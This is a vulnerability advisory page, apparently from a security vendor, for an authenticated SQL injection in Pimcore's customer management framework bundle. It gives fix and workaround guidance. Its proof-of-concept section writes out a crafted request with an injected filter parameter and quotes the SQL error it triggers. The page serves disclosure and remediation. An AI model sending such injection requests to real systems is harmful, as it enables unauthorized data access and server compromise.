EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-q53r-9hh9-w277 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Description
An SQL injection vulnerability allows any authenticated user to execute arbitrary SQL commands on the server. This can lead to unauthorized access to sensitive data, data modification, or even complete control over the server.
Details The vulnerability is found in the URL parameters of the following endpoint:
GET /admin/customermanagementframework/customers/list?add-new-customer=1&apply-segment-selection=Apply&filterDefinition[allowedRoleIds][]=1&filterDefinition[allowedUserIds][]=2&filterDefinition[id]=0&filterDefinition[name]=RDFYjolf&filterDefinition[readOnly]=on&filterDefinition[shortcutAvailable]=on&filter[active]=1&filter[email]=testing%40example.com&filter[firstname]=RDFYjolf&filter[id]=1&filter[lastname]=RDFYjolf&filter[operator-customer]=AND&filter[operator-segments]=%40%40dz1Uu&filter[search]=the&filter[segments][832][]=847&filter[segments][833][]=835&filter[segments][874][]=876&filter[showSegments][]=832 HTTP/1.1
The parameters filterDefinition and filter are vulnerable to SQL injection. When a specially crafted input is provided, it results in an SQL error, indicating that the input is being directly used in an SQL query without proper sanitization.
PoC To reproduce the vulnerability, follow these steps:
Open a web browser or a tool like curl or Postman. Authenticate with valid user credentials. Navigate to the following URL with the vulnerable parameters:
https://demo.pimcore.fun/admin/customermanagementframework/customers/list?add-new-customer=1&apply-segment-selection=Apply&filterDefinition[allowedRoleIds][]=1&filterDefinition[allowedUserIds][]=2&filterDefinition[id]=0&filterDefinition[name]=RDFYjolf&filterDefinition[readOnly]=on&filterDefinition[shortcutAvailable]=on&filter[active]=1&filter[email]=testing%40example.com&filter[firstname]=RDFYjolf&filter[id]=1&filter[lastname]=RDFYjolf&filter[operator-customer]=AND&filter[operator-segments]=%40%40dz1Uu&filter[search]=the&filter[segments][832][]=847&filter[segments][833][]=835&filter[segments][874][]=876&filter[showSegments][]=832
Observe the error message indicating an SQL error:
Error while building customer list: An exception occurred while executing a query: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '@_0 ON `fltr_seg_832_0_@_0`.fieldname IN ('manualSegments','calculatedSegment...' at line 1
Impact This is an SQL injection vulnerability. It impacts any authenticated user who can access the affected endpoint. An attacker can exploit this vulnerability to execute arbitrary SQL commands, potentially leading to data breaches, data loss, or full server compromise.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pimcore/customer-management-framework-bundle, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pimcore/customer-management-framework-bundle to 4.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q53r-9hh9-w277 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-q53r-9hh9-w277 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-q53r-9hh9-w277. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-q53r-9hh9-w277 in your dependencies?
O3 Security finds GHSA-q53r-9hh9-w277 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.
